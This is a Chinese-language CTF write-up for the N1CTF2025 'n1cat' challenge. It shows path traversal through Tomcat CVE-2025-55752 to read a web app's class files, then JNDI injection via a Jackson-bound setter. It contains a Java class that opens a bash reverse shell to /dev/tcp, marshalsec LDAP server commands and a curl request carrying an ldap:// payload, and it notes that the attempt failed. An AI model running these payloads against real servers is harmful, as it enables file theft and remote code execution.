N1CTF2025 n1cat(1/3)

n1cat

虽然没做出来,但是也学到了低版本JNDI注入,这里整理一下思路

首先打开示例看到非常经典的Java后端页面,发现自带参数name和word

传个?name={{7*7}}&word=welcome,发现有报错,得知服务器用的是Apache Tomcat/9.0.108

找找这个版本的Tomcat有没有CVE

结合附件

1
2
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]

发现符合CVE-2025-55752的特征

漏洞原理是:

  • 变更的关键代码
  • 代码位置:java/org/apache/catalina/valves/rewrite/RewriteValve.java
1
2
3
#500-597
urlStringRewriteEncoded = RequestUtil.normalize(urlStringRewriteEncoded);
chunk.append(URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name()));
  • 变更的关键代码
  • 代码位置:java/org/apache/catalina/valves/rewrite/RewriteValve.java
1
2
3
500-597
String urlStringRewriteDecoded = URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name());
urlStringRewriteDecoded = RequestUtil.normalize(urlStringRewriteDecoded);
  • 在重写 URL 后,原逻辑先调用 normalize() 再进行 decode(),导致无法识别编码后的路径遍历字符(如 %2e%2e 表示 ..)。

利用条件:

  • 必须配置了并启用了RewriteValve重写规则(server.xml
  • 启用PUTWebDAV功能后才可以实现远程代码执行

所以/download?path=%2fWEB-INF%2fweb.xml尝试一下,发现能读到web.xml

1
welcomeServlet ctf.n1cat.welcomeServlet welcomeServlet /

curl一下看看有没有开放PUT

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~]
└─$ curl -X OPTIONS "http://xx.xxx.xxx.xxx:xxxxx" -v                                                     
*   Trying xx.xxx.xxx.xxx:xxxxx...
* Connected to xx.xxx.xxx.xxx (xx.xxx.xxx.xxx) port xxxxx
* using HTTP/1.x
> OPTIONS / HTTP/1.1
> Host: xx.xxx.xxx.xxx:xxxxx
> User-Agent: curl/8.15.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 
< Allow: GET, HEAD, OPTIONS
< Content-Length: 0
< Date: Sun, 02 Nov 2025 03:21:52 GMT
< 
* Connection 
                                                          

可惜没有启用PUT,没法RCE,只能读文件了

结合读到的web.xml,得到了服务器的Servlet 配置:

配置中定义了一个名为welcomeServlet的 Servlet,对应的类是ctf.n1cat.welcomeServlet,并且映射到url-pattern: /(即根路径)

在 Java Web 应用中,Servlet 类的字节码文件(.class)通常存放在WEB-INF/classes/目录下,路径与包名对应(包名中的.对应目录分隔符/)。

ctf.n1cat.welcomeServlet

的完整路径为:

WEB-INF/classes/ctf/n1cat/welcomeServlet.class

所以尝试读一下/download?path=%2FWEB-INF%2Fclasses%2Fctf%2Fn1cat%2FwelcomeServlet.class

得到一个download文件,扔进JADX里反编译一下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package ctf.n1cat;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: download */
public class welcomeServlet extends HttpServlet {
    private static final String DEFAULT_NAME = "guest";
    private static final String DEFAULT_WORD = "welcome";
    private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        String requestUri = request.getRequestURI();
        String contextPath = request.getContextPath();
        String pathWithinApp = requestUri.substring(contextPath.length());
        if (shouldDelegate(pathWithinApp)) {
            delegateToDefaultResource(pathWithinApp, request, response);
            return;
        }
        String jsonPayload = request.getParameter("json");
        String nameParam = request.getParameter("name");
        String wordParam = request.getParameter("word");
        String urlParam = request.getParameter("url");
        if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
            ObjectNode composed = OBJECT_MAPPER.createObjectNode();
            composed.put("name", nameParam);
            composed.put("word", wordParam);
            if (!isBlank(urlParam)) {
                composed.put("url", urlParam);
            }
            jsonPayload = composed.toString();
        }
        if (isBlank(jsonPayload)) {
            response.sendRedirect(defaultRedirectTarget(request));
            return;
        }
        try {
            User user = (User) OBJECT_MAPPER.readValue(jsonPayload, User.class);
            String name = user.getName();
            String word = user.getWord();
            String url = user.getUrl();
            if (isBlank(name) || isBlank(word)) {
                response.sendRedirect(defaultRedirectTarget(request));
            } else {
                renderResponse(response, name, word, url);
            }
        } catch (RuntimeException e) {
            response.sendError(400, "Invalid user data");
        } catch (JsonProcessingException e2) {
            response.sendError(400, "Invalid JSON payload");
        }
    }

    private boolean shouldDelegate(String pathWithinApp) {
        return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
    }

    private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
        if (defaultDispatcher != null) {
            defaultDispatcher.forward(request, response);
        } else {
            request.getRequestDispatcher(pathWithinApp).forward(request, response);
        }
    }

    private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        try {
            out.println("<html><body>");
            out.println("<h1>" + escapeHtml(name) + "</h1>");
            out.println("<p>" + escapeHtml(word) + "</p>");
            if (!isBlank(url)) {
                out.println("<p>URL: " + escapeHtml(url) + "</p>");
            }
            out.println("</body></html>");
            if (out != null) {
                out.close();
            }
        } catch (Throwable th) {
            if (out != null) {
                try {
                    out.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
            }
            throw th;
        }
    }

    private String escapeHtml(String input) {
        if (input == null) {
            return "";
        }
        return input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\"", "&quot;").replace("'", "&#x27;");
    }

    private String defaultRedirectTarget(HttpServletRequest request) {
        return request.getContextPath() + "/?name=" + urlEncode(DEFAULT_NAME) + "&word=" + urlEncode(DEFAULT_WORD);
    }

    private boolean isBlank(String value) {
        return value == null || value.trim().isEmpty();
    }

    private String urlEncode(String value) {
        return URLEncoder.encode(value, StandardCharsets.UTF_8);
    }
}

可以看到有个User类,看看能不能读到这个User类,用同样的方法读/download?path=WEB-INF%2Fclasses%2Fctf%2Fn1cat%2FUser.class得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;

/* loaded from: download(1) */
public class User {
    private String name;
    private String word;
    private String url;

    public String getName() {
        return this.name;
    }

    public String getWord() {
        return this.word;
    }

    public void setWord(String password) {
        this.word = password;
    }

    public void setName(String name) throws NamingException {
        this.name = name;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        try {
            new InitialContext().lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException((Throwable) e);
        }
    }
}

可以看到这个User类中的setUrl存在JNDI漏洞

漏洞篇 - JNDI 注入详解

利用低版本的JNDI漏洞需要做两个准备工作

首先要搭建一个RMI/LDAP 服务

然后在本机上启一个HTTP服务

想要反弹shell还要额外准备

利用思路是先编写一个恶意的Java类

1
2
3
4
5
6
7
import java.io.IOException;
public class Exploit {
    public Exploit() throws IOException {
        String cmd = "bash -i >& /dev/tcp/IP/port 0>&1";
        Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    }
}

编译成class之后使用LDAP服务引导服务器访问HTTP服务下载我们准备好的class文件并执行,从而达到RCE的目的

这里使用marshalsec来搭建LDAP服务

marshalsec

这个工具需要自己打包成jar包,所以本地需要有Java环境

1
2
python -m http.server 8080 //先启一个HTTP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "IP:Port" 1389 //LDAP服务

最后使用curl向服务器传参来引导服务器访问LDAP服务,最终RCE

1
curl "http://xx.xxx.xxx.xxx:xxxxx/?json=%7B%22name%22:%22test%22,%22word%22:%22test%22,%22url%22:%22ldap://xx.xxx.xxx.xxxxxx.xx:xxxxx/ClassName%22%7D"

本来如果是低版本JDK到这里就结束了,但后续怎样尝试都无回显,所以猜测是高版本,由于高版本JDK默认不信任外部代码,所以这道题不能这么简单就做出来,还需要想别的办法。

参考:

Apache Tomcat RewriteValve目录遍历漏洞 | CVE-2025-55752 复现

漏洞篇 - JNDI 注入详解

【已复现】Apache Tomcat 路径遍历漏洞 | 利用有前置条件(CVE-2025-55752)

Java反序列化工具-marshalsec

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计